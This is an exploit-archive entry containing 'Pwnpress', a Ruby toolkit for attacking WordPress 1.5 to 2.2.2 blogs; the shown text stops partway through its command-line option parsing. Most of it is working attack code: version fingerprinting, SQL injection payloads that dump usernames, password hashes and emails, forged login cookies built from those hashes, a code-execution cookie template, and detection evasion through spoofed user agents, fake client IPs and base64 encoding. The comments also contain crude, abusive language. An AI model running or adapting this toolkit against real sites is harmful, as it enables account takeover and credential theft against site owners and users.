[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub)
# Published : 2007-09-14
# Author : Lance M. Havok
# Previous Title : Ajax File Browser 3b (settings.inc.php approot) RFI Vulnerability
# Next Title : phpFFL 1.24 PHPFFL_FILE_ROOT Remote File Inclusion Vulnerabilities


#!/usr/bin/env ruby
#                .---. .---.
#               :     : o   :    happy antiblogging, dear kids!
#           _..-:   0 :     :-.._    /
#       .-''  '  `---' `---' "   ``-.         Copyright (c) Lance M. Havok
#     .'   "   '  "  .    "  . '  "  `.       <lmh [at] info-pull.com>
#    :   '.---.,,.,...,.,.,.,..---.  ' ;
#    `. " `.                     .' " .'      ----- All rights reserved.
#     `.  '`.   .-/|||||||-.   .' ' .'       2006, 2007.
#      `.    `-._   |||/   _.-' "  .'
#        `. "    '"--...--"'  . ' .'    ...because blogs are useless
#  jgs   .'`-._'    " .     " _.-'`.       self-promotion and mental
#      .'      ```--.....--'''    ' `:               masturbation...
#   "The blogosphere end is fucking nigh!"
#                                              -RELEASE LESS, RELEASE BEST-
# == Disclaimer and license
# This code is *NOT* GPL. Commercial usage is strictly forbidden (any activity
# directly or indirectly generating revenue: consulting, distribution in slides,
# mirroring in websites with ad/affiliate programs, advertise your web IDS, etc).
#
# == Pwnpress motivation and features
# Pwnpress implements multiple techniques, bugs and tricks for compromising
# Wordpress-based blogs, combining the exploits in the necessary order for
# retrieving any necessary information to make the exploitation process as
# reliable as possible. Because every time you 'blog', god mutilates the penis
# of a poor 12 year old Vietnamese boy.
#
# Covertness capability is provided, dynamically adapting the payloads and
# operations to lower potential 'noise' on the wire. Fingerprinting deploys few
# methods able to detect all versions of Wordpress in their default installation
# form without tampering of wp-includes/version.php
#
# Tested with Wordpress 2.2, 2.2.2, 2.0.5, 2.0.6, 2.1, (...), PHP/5.2.4 for
# Apache 2.0.58 on Gentoo GNU/Linux. magic_quotes on and off for the different
# exploits.
#
# == A short advice (for those who desperately need a working brain)
# Due to the recent incidents of people ripping some of our work at Blackhat and
# other *pointless* security conferences, we politely ask you to refrain from
# doing such a mean thing. If you can't be creative, find a different hobby.
# "DANGER RABBI ROBINSON: INFOWAR!" Gadi Evron, blogs.securiteam.com (WP 2.0.10)
# Trespassers expect career disruption and public humiliation... :)
#

require 'digest/md5'
require 'net/http'
require 'base64'
require 'irb'
require 'uri'

class Array
    # Return random item
    def rand_i
        return self[rand(self.size)]
    end
end

class String
    # http://snippets.dzone.com/posts/show/2111
    def self.rnd(size = 16)
        (1..size).collect { (i = Kernel.rand(62);
        i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
    end
end

# Oh jesuschrist, here comes the pie!
class Pwnpress
    PWNPRESS_VERSION         = "0.2pub"
    LATEST_VERSION_SUPPORTED = "2.2.2"
    DEFAULT_TABLE_PREFIX     = "wp"
    KNOWN_REGEXPS            = {
        :meta_generator => /<meta name="generator" content="(.+?)" />/,
        :rss_feed_links =>
            [
                /title="RSS 2.0" href="(.*)"/,
                /title="RSS .92" href="(.*)"/
                
            ],
        :atom_feed_links =>
            [
                /title="Atom 0.3" href="(.*)"/
            ],
        :rss2_generator =>
            [
                /<generator>http://wordpress.org/?v=(.+?)</generator>/,
                /generator="(.+?)"/
            ],
        :atom_generator =>
            [
                /uri="http://wordpress.org/" version="(.+?)">Word(P|p)ress/
                # This fixes dumb editors with stupid syntax highlighting :)"
            ]
    }
    
    attr_reader :results
    
    # Initialize the instance variables, etc. Perform any required operations
    # to set the initial state ready.
    def initialize(options)
        unless options[:target] != nil
            raise "Missing target URL parameter."
        end
        
        # Check for missing trailing slash, add if necessary
        if options[:target].split(//).last != '/'
            options[:target] << '/'
        end
        
        
        @url          = URI.parse(options[:target])
        @proxy_host   = options[:proxy_host]
        @proxy_port   = options[:proxy_port]
        @table_prefix = options[:table_prefix]
        @username     = options[:username]
        @password     = options[:password]
        @covert_level = options[:covert_level]
        @results      = {}
        @finger_on    = options[:fingerprint]
        
        if options[:version] == "auto"
            @version = fingerprint_wordpress()
            if @version
                msg_name = "Found Wordpress version."
                msg_desc = %Q{
                    Target has #{@version} installed. Current last
                    release (devel) is #{@wp_versions.last}. Known
                    versions: #{@wp_versions.size} (includes devel).
                }
                
                add_results_msg(:wp_version, :success, msg_name, msg_desc)
            else
                msg_name = "Can't find Wordpress version."
                msg_desc = %Q{
                    Target has an unknown Wordpress version installed.
                    It might be fake or bogus. Please specify target
                    version yourself, since fingerprinting failed :(
                }
                
                add_results_msg(:wp_version, :failure, msg_name, msg_desc)
            end
        else
            fingerprint_wordpress(true)
            @version = options[:version]
        end
        
    end
    
    # Attempt to verify wordpress presence and installed version + patch level:
    #
    # 1. Default installation contains a META generator header.
    # 2. Default RSS/ATOM feed generation code also provides version information.
    # 3. Default template and most styles include "Powered by" text.
    #
    #     <meta name="generator" content="WordPress 2.2.2" />
    #     <!-- generator="wordpress/2.2.2" -->
    #     <generator>http://wordpress.org/?v=2.2.2</generator>
    #     proudly powered by <a href="http://wordpress.org/">WordPress</a>
    #     <generator url="http://...org/" version="1.5.2">WordPress</generator>
    #
    # The above methods can be fooled by simply editing wp-includes/version.php
    # Covert level affects what methods might be used, depending on how clumsy
    # the activity could be on the wire. Fingerprinting is highly effective in
    # most cases but there are still users who decide to fake version strings,
    # therefore a method using some heuristics is provided as well. Obviously it
    # can be fooled as easily, but helps to identify branch and feature sets.
    #
    # Methods involving extremely simple "heuristics":
    #
    # 4. Detect the style and layout of the login interface.
    # 5. Detect files that are present only in certain revisions or branches.
    # 6. Detect plugins and themes or styles available only for some branches.
    #
    # This list isn't exhaustive, there are other potentially reliable
    # methods (depending on desired attack surface: default installation, custom
    # blogs, heavily modified code, etc). Ski ba bop ba dop bop!
    #
    def fingerprint_wordpress(only_retrieve_body = false)
        index_paths = [ "index.php", "?#comments" ]
        rss2_paths  = [ "?feed=rss2", "?feed=comments-rss2" ]
        atom_paths  = [ "?feed=atom", "?feed=comments-atom" ]
        
        unless @body
            @body = retrieve_content(index_paths.rand_i)
            if @body == nil
                raise "HTTP GET failed: wrong path or offline?"
            end
        end
        
        if @body and only_retrieve_body == false and @finger_on
            get_valid_versions_array

            # Retrieve existing RSS and ATOM feed paths. Note that this will
            # only try to match for the target url. If Wordpress has set a
            # different base url, then these checks won't use it.
            KNOWN_REGEXPS[:rss_feed_links].each do |rp|
              tmp_array = @body.scan(rp).flatten
              tmp_array.each do |uri|
                rss2_paths << uri.gsub(/#{@url.to_s}/,'')
              end
            end
            
            KNOWN_REGEXPS[:atom_feed_links].each do |rp|
              tmp_array = @body.scan(rp).flatten
              tmp_array.each do |uri|
                atom_paths << uri.gsub(/#{@url.to_s}/,'')
              end
            end
            
            # Method 1
            meta_generator = @body.scan(KNOWN_REGEXPS[:meta_generator]).flatten
            if meta_generator
                wp_string = meta_generator[0].scan(/(.+?) (.*)/).flatten
                if wp_string.size ==  2
                    if wp_string[0] =~ /Word(p|P)ress/i
                        if wp_string[1]
                            # Verify version against those known to be valid
                            if @wp_versions.find { |v| v[0] == wp_string[1] }
                                return wp_string[1]
                            end
                        end
                    end
                end
            end
            
            # Note: could refactor these two as a method and save some lines,
            # but this is the only existing place where it would be used.
            # Method 2: RSS
            rss2 = get_meta_value(rss2_paths.rand_i, :rss2_generator)
            if rss2 and rss2[:str]
                ver = rss2[:str].scan(/(.*)/(.*)/).flatten
                if ver and ver.size == 2
                    if @wp_versions.find { |v| v[0] == ver[1] }
                        return ver[1]
                    end
                end
            end
            
            # Method 2: ATOM
            atom = get_meta_value(atom_paths.rand_i, :atom_generator)
            if atom and atom[:str]
                if @wp_versions.find { |v| v[0] == atom[:str] }
                    return atom[:str]
                end
            end
            
            # Method 4: determine login box layout and/or style. works for
            # checking if the version is post 2.2 branch or older (pre 2.2).
            # Besides that, this isn't of much help.
            if @covert_level < 1
                login_body = retrieve_content("wp-login.php")
                if login_body =~ /<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">/
                    return "post-2.2"
                end
                if login_body =~ /<html xmlns="http://www.w3.org/1999/xhtml">/
                    return "pre-2.2"
                end
            end
            
            # Method 5: branch-persistent files
            if @covert_level < 1
                # wp-app.php and wp-cron.php are from old 1.5 branch
                if retrieve_content("wp-app.php", @url, nil, true).code == "404"
                    return "likely-2.2"
                else
                    return "likely-1.5"
                end
            end
            
            # Method 3: final, we return nil since we really cant tell an exact
            # version.
            if @body =~ /(proudly powered by|Powered by) <a href=(.*)wordpress(.*)>/
                return nil
            end
        end
    end
    
    # A brilliant bug fixed after 2.2(.0) which was exploitable by least
    # privileged users (ex. Subscribers) via the XML-RPC interface:
    #
    #   function wp_suggestCategories($args) {
    #   ...
    #       $this->escape($args);
    #       $blog_id                = (int) $args[0];
    #       ...
    #       $max_results            = $args[4];           !! where's mr. (int)?
    #       ...
    #       if(!empty($max_results)) {
    #           $limit = "LIMIT {$max_results}";          !! :>
    #
    #     $category_suggestions = $wpdb->get_results("    !! "I see dead SQL :("
    #       SELECT cat_ID category_id,
    #           cat_name category_name
    #       FROM {$wpdb->categories}
    #       WHERE cat_name LIKE '{$category}%'
    #       {$limit}                                      !! kekekekekekeKEKEKE!
    #       ");
    #
    #   return($category_suggestions);
    #
    # Fixed in later revisions (ex. 2.2.2). The bug was reported to the Wordpress
    # development team by Alex C, with a .NET C# proof of concept.
    #
    def exploit_220_suggestCategories_xmlrpc
        if @username and  @password
            user_list    = {}
            xmlrpc_path  = get_xmlrpc_path()
            xml_payload  =  "<methodCall>n"                                   +
                            "t<methodName>wp.suggestCategories</methodName>n"+
                            "t<params>n"                                     +
                            "tt<param><value>1</value></param>n"            +
                            "tt<param><value>#{@username}</value></param>n" +
                            "tt<param><value>#{@password}</value></param>n" +
                            "tt<param><value>1</value></param>n"            +
                            "tt<param><value>"                               +
                            "0 UNION ALL SELECT user_login, user_pass FROM "   +
                            "WPR3F1X_users"                                    +
                            "</value></param>n"                               +
                            "t</params>n"                                    +
                            "</methodCall>n"
           
           # Send the query
           if xmlrpc_path
               get_table_prefix()
               
               res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix),
                                 xmlrpc_path)
               if res =~ /Word(P|p)ress database error/ and @covert_level < 1
                   # Try to guess prefix again if we had an error
                   get_table_prefix(:db_error, res)
                   res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix),
                                     xmlrpc_path)
               end
               
               # No need for a full-blown XML parser. Ruby is *that* nice :>
               if res =~ /<member><name>category_id</name><value><string>/
                   regex = /<member><name>(.+?)</name><value><string>(.+?)</string></value></member>/
                   credentials = res.scan(regex)
                   last_user = nil
                   
                   credentials.each do |a|
                      if a[0] == "category_id" and a[1]
                          user_list[a[1]] = { :passwd_hash => nil }
                          last_user = a[1]
                      end
                      if a[0] == "category_name" and a[1]
                          user_list[last_user][:passwd_hash] = a[1]
                          cookie = get_cookie_hash(last_user, a[1])
                          if cookie and cookie.size == 2
                              user_list[last_user][:cookie_user] = cookie[0]
                              user_list[last_user][:cookie_pass] = cookie[1]
                          end
                      end
                   end
                   
                   add_to_results(:sql_injection_xmlrpc_220, :user_hashes,
                                  user_list)
                   return true
               end
               
               # Did not work :(
               return false
           end
        else
            raise "Username and password required for XML-RPC injection in 2.2"
        end
    end
    
    # Nice pre-authentication bug found by different individuals, one of them my
    # appreciated fellow Jesus H. Christ who coded a rather dirty proof of concept
    # doing the job just fine, with magic_quotes = Off. This is a cleaner version
    # with few extra checks. Like the original Perl version, uses base64 to avoid
    # char filtering woes and as a side-effect (bonus!) for mod_security evasion
    # :> (thanks to XML-RPC handling, which supports base64 encoded elements).
    #
    def exploit_222_pingback_xmlrpc
        user_list = {}
        tags_list = []
        xmlrpc_path  = get_xmlrpc_path()
        
        get_table_prefix()
        
        # First we need to scan for some tags (categories), this is most likely
        # 100% reliable if rewrite rules are enabled and theme is Wordpress
        # compliant (or follows the usual scheme).
        tags_list = get_existing_tags()
        unless tags_list.size > 0
            msgs = { :failure => { :response => "Can't find suitable tag." } }
            msgs[:failure][:description] = %Q{
                t A suitable permalink-style path is required for the exploit
                t to be successful. Failure to find this parameter indicates
                t that most probably the target is not using URL rewrite rules.
                t The bug does not trigger with "emulated" index.php/ style
                t paths.
            }
            
            add_to_results(:sql_injection_xmlrpc_222, :messages, msgs)
            return false
        end
        
        sql_query =  tags_list.rand_i[:link]
        sql_query << "#{String.rnd}&post_type=#{String.rnd}%27)"
        sql_query << " UNION SELECT CONCAT(user_pass, %27 - %27, user_login,"
        sql_query << " %27 - %27, user_email), 2,3,4,5,6,7,8,9,10,11,12,13,"
        sql_query << "14,15,16,17,18,19,20,21,22,23,24 FROM "
        sql_query << "WPR3F1X_users%2F*"
        
        xml_payload  =  "<?xml version="1.0"?>n"                           +
                        "<methodCall>nt<methodName>"                        +
                        "pingback.extensions.getPingbacks"                    +
                        "</methodName>n"                                     +
                        "t<base64>INJ_SQL_QUERY</base64>n"                  +
                        "</methodCall>n"
       
        # Send the query
        if xmlrpc_path
            tmp = sql_query.gsub(/WPR3F1X/, @table_prefix)
            tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp))
            res = send_xmlrpc(tmp, xmlrpc_path)
            
            if res =~ /Word(P|p)ress database error/ and @covert_level < 1
                # Try to guess prefix again if we had an error
                get_table_prefix(:db_error, res)
                tmp = sql_query.gsub(/WPR3F1X/, @table_prefix)
                tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp))
                res = send_xmlrpc(tmp, xmlrpc_path)
            end
            
            wpuser_blob = res.scan(/WHERE post_id IN ((.*?))/s).flatten[0]
            credentials = wpuser_blob.scan(/([a-z0-9]{32}) - (.*?) - ([^,]+)/i)
            credentials.each do |a|
                password_hash = a[0]
                poor_username = a[1]
                email_address = a[2]
                
                user_list[poor_username] = {
                    :email_addr  => email_address,
                    :passwd_hash => password_hash
                }
                
                cookie = get_cookie_hash(poor_username, password_hash)
                if cookie and cookie.size == 2
                    user_list[poor_username][:cookie_user] = cookie[0]
                    user_list[poor_username][:cookie_pass] = cookie[1]
                end
            end
            
            add_to_results(:sql_injection_xmlrpc_222, :user_hashes, user_list)
            return true
        end
        
        return false
    end

    # One of the most sloppy, unreliable and awkward exploits ever released for
    # Wordpress. The original exploit from Stefan Esser was mediocre at best.
    # No offense meant, it was just a seriously deficient piece of horse shit.
    def exploit_205_trackback_utf7
        wpuser_list = {}
        sql_query = ""
        # Left to be implemented someday...
    end
    
    # Present in 1.5.1.1, this one allows dead easy SQL injection (ex. via cat
    # variable, for category, in the index page right away). The SQL query here
    # is loosely based on the original exploit by Alberto Trivero, with extra
    # output. Also, we support multiple user dumping by limiting the query per
    # id, and iterating randomly if covert level allows it (since we are doing
    # a GET request, as clumsy as cmd.exe at packages.gentoo.org :>).
    def exploit_1511_catsqlinjection
        user_list = {}
        
        sql_query = "#{rand(40)} UNION SELECT NULL,CONCAT(CHAR(58),user_pass,"
        sql_query << "CHAR(58),user_email,CHAR(58),user_login,CHAR(58)),2,"
        sql_query << "NULL,NULL FROM WPR3F1X_users WHERE id = TUSER/*"

        
        get_table_prefix()
        
        if @covert_level > 1
            iterations = 1
        else
            iterations = rand(20)+1
        end
        
        user_id = 1
        iterations.times do
            tmp = sql_query.gsub(/TUSER/, user_id.to_s)
            tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix))
            
            res = retrieve_content("?cat=#{tmp}")
            if res =~ /Word(P|p)ress database error/ and @covert_level < 1
                    get_table_prefix(:db_error, res)
                    tmp = sql_query.gsub(/TUSER/, user_id.to_s)
                    tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix))
                    res = retrieve_content("?cat=#{tmp}")
            end
            
            if res
                val = res.scan(/:([a-z0-9]{32}):(.*?):(.*?): category/).flatten
                if val.size == 3
                    user_list[val[2]] = {
                        :email_addr  => val[1],
                        :passwd_hash => val[0]
                    }
                    
                    cookie = get_cookie_hash(val[2], val[0])
                    if cookie and cookie.size == 2
                        user_list[val[2]][:cookie_user] = cookie[0]
                        user_list[val[2]][:cookie_pass] = cookie[1]
                    end
                end
            end
            
            user_id += 1
        end
        
        if user_list.size > 0
            add_to_results(:sql_injection_cat_1513, :user_hashes, user_list)
            return true
        else
            return false
        end
    end
    
    # A code execution flaw in 1.5.1.3 when register_globals is enabled. Allows
    # simple exploitation via variables overwrite. The technique is based on
    # the original exploit by Kartoffelguru, using a base64 encoded command.
    def exploit_1513_codeexec
        cookie_template = "wp_filter[query_vars][0][0][function]=get_lastpostdate;"
        cookie_template << "wp_filter[query_vars][0][0][accepted_args]=0;"
        cookie_template << "wp_filter[query_vars][0][1][function]=base64_decode;"
        cookie_template << "wp_filter[query_vars][0][1][accepted_args]=1;"
        cookie_template << "cache_lastpostmodified[server]=//e;"
        cookie_template << "cache_lastpostdate[server]=BASE64CMD;"
        cookie_template << "wp_filter[query_vars][1][0][function]=parse_str;"
        cookie_template << "wp_filter[query_vars][1][0][accepted_args]=1;"
        cookie_template << "wp_filter[query_vars][2][0][function]=get_lastpostmodified;"
        cookie_template << "wp_filter[query_vars][2][0][accepted_args]=0;"
        cookie_template << "wp_filter[query_vars][3][0][function]=preg_replace;"
        cookie_template << "wp_filter[query_vars][3][0][accepted_args]=3;"
        
        # $code = base64_encode($cmd);
        # $cnv = "";
        # for ($i=0;$i<strlen($code); $i++) {
        # $cnv.= "chr(".ord($code[$i]).").";
        # }
        # $cnv.="chr(32)";
        # $str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

        #cmd = Base64.encode64(cmd).scan(/.{1,600}/o).to_s
        #tmp = cookie_template.gsub(/BASE64CMD/, cmd)
        # TODO :)
    end
    
    # Determine what exploits could work against the target version. Chain them
    # inside an array and then sequentially execute the methods. These are
    # ordered depending on the reliability, and used according to the desired
    # covert level.
    def exploit
        @ammunition = []
        
        case @version
            when "1.5.1.1"
                # pre-auth
                @ammunition << exploit_1511_catsqlinjection
            when "1.5.1.3"
                # pre-auth, classic code exec right away.
                @ammunition << exploit_1513_codeexec
            when "2.0.5"
                # pre-auth. esser's exploit was really weak for this one :)
                @ammunition << exploit_205_trackback_utf7
            when "2.1.3"
            when "2.2"
                # combo :> (pre-auth + post-auth, pick twice)
                @ammunition << exploit_220_suggestCategories_xmlrpc
                @ammunition << exploit_222_pingback_xmlrpc
            when "2.2.2"
                # pre-auth
                @ammunition << exploit_222_pingback_xmlrpc
            else
                return false
        end
        
        # What would Jesus do?
        @ammunition.each do |headshot|
            headshot
        end
    end
    
    # Retrieve the site hash using a HEAD request, taking username and password
    # hash for filling a valid cookie which can be used to operate the target
    # account without requiring the password. This can be set in Firefox by
    # editing the cookies.txt file or using the proper extension providing cookie
    # editing functionality. Uses random headers.
    def get_cookie_hash(username, phash)
        login_path = @url.path + "wp-login.php?action=logout"
        phash      = Digest::MD5.new().hexdigest(phash)
        cookie     = "wordpressuser_CHH=#{username};wordpresspass_CHH=#{phash}"
        
        unless @site_cookie_hash
            res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,
                                   @url.port) { |http|
                res = http.head(login_path, self.random_headers)
                if res and res["set-cookie"]
                    c = res["set-cookie"].scan(/wordpressuser_(.+?)=/).flatten[0]
                    if c.length == 32
                        @site_cookie_hash = c
                    else
                        return nil
                    end
                end
            }
        end
        
        cookie.gsub!(/CHH/, @site_cookie_hash)
        return cookie = cookie.split(/;/)
    end
    
    # Retrieve categories (tags) from the Wordpress content. This is used by
    # those SQL injection exploits that rely on valid permalinks or other types
    # of "standard" blog elements referring to internal content.
    def get_existing_tags()
        tag_list = []
        
        arr = @body.scan(/<a href="(.+?)" title="View all posts in (.+?)" rel="category tag">/)
        if arr and arr.size > 0
            i = 0
            arr.each do |link, tag|
                if tag and link
                    # link could be null, not an issue
                    tag_list[i] = { :tag => tag, :link => link }
                    i += 1
                end
            end
        end
        
        return tag_list
    end
    
    
    # Attempt to guess the table prefix. If no known methods / information
    # disclosure bugs worked, use the default setting (wp or wp_svn for devel
    # builds).
    #
    # For now, methods available:
    # a) :db_error = scan input string for SQl error leaking wordpress prefix
    # b) :db_error + 2.2.{1,0} edit-comments.php apage parameter bug
    #    requires enough privileges, leads to a SQL error with negative value
    #    at apage parameter, leaking the wordpress tables pefix:
    #       WordPress database error: ... SELECT SQL_CALC_FOUND_ROWS * FROM
    #       wp_comments WHERE comment_approved = '0' OR comment_approved = '1'
    #       ORDER BY comment_date DESC LIMIT -40, 25
    #
    def get_table_prefix(method = nil, str = nil)
        if method and str
            case method
                when :db_error
                     regex = /FROM (.+?)_(categories|users|posts|links|comments)/
                     new_prefix = str.scan(regex).flatten
                     if new_prefix.size == 1
                         @table_prefix = new_prefix[0]
                     end
                when :edit_coms_221
                     # Not implemented since it requires edit privileges.
                     # db_error method suffices almost always.
                else
                    @table_prefix = DEFAULT_TABLE_PREFIX
            end
        else
            # Nothing worked, let's just guess it's default
            @table_prefix = DEFAULT_TABLE_PREFIX
        end
    end
    
    # Attempt to guess the correct xmlrpc.php path relative to base directory.
    # Most rewrite rules never bother changing this, therefore it shouldn't be
    # necessary to mess with this method. Add new checks if necessary.
    def get_xmlrpc_path()
        unless @xmlrpc_location 
            meta_regexp = /<link rel="pingback" href="(.*)/(.*)" />/
            pingback = @body.scan(meta_regexp).flatten
            if pingback.size == 2
                meta_url = URI.parse(pingback[0])
                
                # Verify URL belongs to target host. Disable this if necessary. 
                if meta_url.host == @url.host
                    @xmlrpc_location = pingback[1]
                end
            else
                if remote_file_exists(@url.path + "xmlrpc.php")
                    @xmlrpc_location = "xmlrpc.php"
                else
                    # Nothing worked so far, out of luck.
                    return nil
                end 
            end
        end
        
        return @xmlrpc_location
    end
    
    #
    # Helpers and other utilities.
    #
    
    # Get the meta value of content found at path, using specified regexp
    # from the KNOWN_REGEXPS constant (by default)
    def get_meta_value(path, regexp, kregexp = KNOWN_REGEXPS)
        result = nil
        
        txt = retrieve_content(path)
        if txt
            kregexp[regexp].each do |rp|
              mvalue = txt.scan(rp).flatten[0]
              if mvalue
                result = { :str => mvalue, :buf => txt }
              end
            end
        end
        
        return result
    end
    
    # Add data to the results variable, available for read access to check
    # for information retrieved from successful exploitation.
    def add_to_results(bug, data_type, array)
        @results[bug] = { :data_type => data_type, :data => array}
    end
    
    # Add a message of given importance and desired information to the results
    # hash.
    def add_results_msg(owner, level, name, value)
        new_message = { level => { :response => name } }
        new_message[level][:description] = value
        add_to_results(owner, :messages, new_message)
    end
    
    # :nodoc: "Better than Nikto GET storm!" - a CISSP realizing HEAD exists.
    # Uses a HEAD request to check existence of a remote file. Uses random
    # headers.
    def remote_file_exists(path)
        does_exist = nil
        
        res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,
                               @url.port) { |http|
           res = http.head(path, self.random_headers)
           case res
               when Net::HTTPSuccess, Net::HTTPRedirection
                   does_exist = true
               else
                   does_exist = false
           end
        }
        
        return does_exist
    end
    
    # Return a random User-Agent string from an array of the most popular ones :-)
    # (updated, August 2007). Do not add unusual/uncommon agents that stand out.
    def self.random_agent
        available_useragents = [
            "Googlebot/2.1 ( http://www.google.com/bot.html)",
            "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
            "Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6",
            "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0)",
            "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
            "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5",
            "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1",
            "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1",
            "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.5) Gecko/20070321 Netscape/8.1.3",
            "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20070321 Netscape/9.0",
            "Opera/9.23 (Windows NT 5.0; U; en)"
        ]
        
        return available_useragents.rand_i
    end
    
    # Random IP address generator, this is used for generation of PC_REMOTE_ADDR
    # headers, since we want to leave a fake REMOTE_ADDR in the database record:
    # From Wordpress 2.2.2, wp-includes/vars.php (line 39):
    # 
    #  if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
    #     $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
    #
    # Optional argument determines the first block to use (ex. 17 = Apple :>)
    def self.random_ip(first_block = rand(254))
        return "#{first_block}.#{rand(254)}.#{rand(254)}.#{rand(254)}"
    end
    
    # Simply scans the body content for <a> elements and returns an array of
    # links. Useful for Referer spoofing, disguising as a normal visitor.
    def get_site_pages
        if @body
            return @body.scan(/<a href="(.*)"/).flatten
        else
            return nil
        end
    end
    
    # Return a hash of HTTP headers generated randomly. The goal is generating
    # non-homogeneous requests that contain static patterns.
    def random_headers
        rndheader = {}
        languages = [ "de-DE,en;q=0.5", "en-us,en;q=0.5", "en", "zh, en-us; q=0.6" ]
        rel_pages = get_site_pages()

        rndheader["User-Agent"]      = Pwnpress.random_agent
        rndheader["Accept-Language"] = languages.rand_i
        if rel_pages
            rndheader["Referer"]    = rel_pages.rand_i
        end
        
        # Spoof REMOTE_ADDR, while this might be "covert" backend-wise, normal
        # headers would *never* contain this. this shouldn't work on OS X server
        # since the variable would be set server-side already. oh wait, I just
        # helped IDS vendors! :>
        if @covert_level > 1
            rndheader["PC_REMOTE_ADDR"] = Pwnpress.random_ip
        end
        
        return rndheader
    end
    
    # Retrieve a list of all existing Wordpress versions from wordpress.org.
    # Returns array with the results.
    def get_valid_versions_array
        unless @wp_versions
            regexp = /<td align='center'><a href='(.+?)'>zip</a></td>/
            wp_url = URI.parse("http://wordpress.org/download/release-archive/")
            @wp_versions = [] # not nil, since we need self.index(version_to_check)
    
            archive = retrieve_content('', wp_url)
            if archive
                tmp = archive.scan(/http://wordpress.org/wordpress-(.+?).zip/)
                if tmp
                    @wp_versions = tmp.uniq
                end
            end
        end
    end
    
    # Send a XML-RPC request with data xml and path of xmlrpc.php at xmlrpc_path.
    # Returns the response body received from the server or nil if failed.
    # Uses random headers or given parameter (avoids recursion in some places).
    def send_xmlrpc(xml, xmlrpc_path)
        xml_response = ""
        
        res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,
                               @url.port) { |http|
           res = http.post(@url.path + xmlrpc_path, xml, self.random_headers)
           case res
               when Net::HTTPSuccess, Net::HTTPRedirection
                   xml_response = res.body
               else
                   xml_response = nil
           end
        }
        
        return xml_response
    end
    
    # Sends a HTTP GET request to retrieve content available at specified
    # relative path path to my_url (ex. my_url being the base Wordpress directory
    # and path a file available within that directory).
    # Uses random headers.
    def retrieve_content(path, my_url = @url, headers = nil, return_res = false)
        body = ""
        
        res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(my_url.host,
                               my_url.port) { |http|
           if headers
               extra_headers = headers
           else
               extra_headers = self.random_headers
           end
           
           res = http.get(my_url.path + path, extra_headers)
           case res
               when Net::HTTPSuccess, Net::HTTPRedirection
                   body = res.body
               else
                   if return_res
                       body = res
                   else
                       body = nil
                   end
           end
        }
        
        return body
    end
end

# if $0 =~ /pwnpress.rb/
if $0 != /666/
    require 'optparse'

    OPTIONS = {}
    
    def vputs(msg)
        if OPTIONS[:verbose]
            puts "+> #{msg}"
        end
    end

    if ARGV.size == 0
        puts "Psychic capabilities not yet implemented, sorry. Need arguments."
        exit
    end

    puts "> Pwnpress: Wordpress exploitation toolkit #{Pwnpress::PWNPRESS_VERSION}"
    puts "> 'High quality antiblog guerrilla tools for the masses.'"
    puts "> (c) 2006, 2007 Lance M. Havok <lmh [at] info-pull.com>"
    
    # Let the Internet Hate Machine deliver:
    begin
        OptionParser.new do |opts|
            opts.banner = "Usage: #{$0} [options]"
            
            OPTIONS[:verbose]      = false
            OPTIONS[:fingerprint]  = true
            OPTIONS[:version]      = "auto" # by default, try to guess version
            OPTIONS[:proxy_host]   = nil    # if nil, default to direct conn
            OPTIONS[:proxy_port]   = nil    # if nil, default to direct conn
            OPTIONS[:table_prefix] = nil    # if nil, Pwnpress retrieves it
            OPTIONS[:username]     = nil
            OPTIONS[:password]     = nil
            OPTIONS[:covert_level] = 0      # by default, try everything.
            OPTIONS[:irb_shell]    = nil
            
            opts.on("--[no-]verbose", "Run verbosely") do |v|
                OPTIONS[:verbose] = v
            end
            
            opts.on("-t", "--target TARGET_URL", "Target URL (inc. WP path)") do |t|
                unless t =~ /(http|https)://(.*)//i
                    raise "Target must be in form: http(s)://domain.tld/wp/"
                end
                OPTIONS[:target] = t
            end
            
            opts.separator ""
            opts.separator "Optional and extra settings:"
            
            opts.on("-u", "--username USER", "Valid username") do |u|
                OPTIONS[:username] = u
            end
            
            opts.on("-p", "--password PASSWD", "Valid password for user") do |p|
                OPTIONS[:password] = p
            end
            
            opts.on("-v", "--version VERSION", "Target (full) version") do |n|
                OPTIONS[:version] = n
            end
            
            opts.on("--prefix PREFIX", "Wordpress tables prefix (ex. wp)") do |x|
                OPTIONS[:table_prefix] = x
            end
            
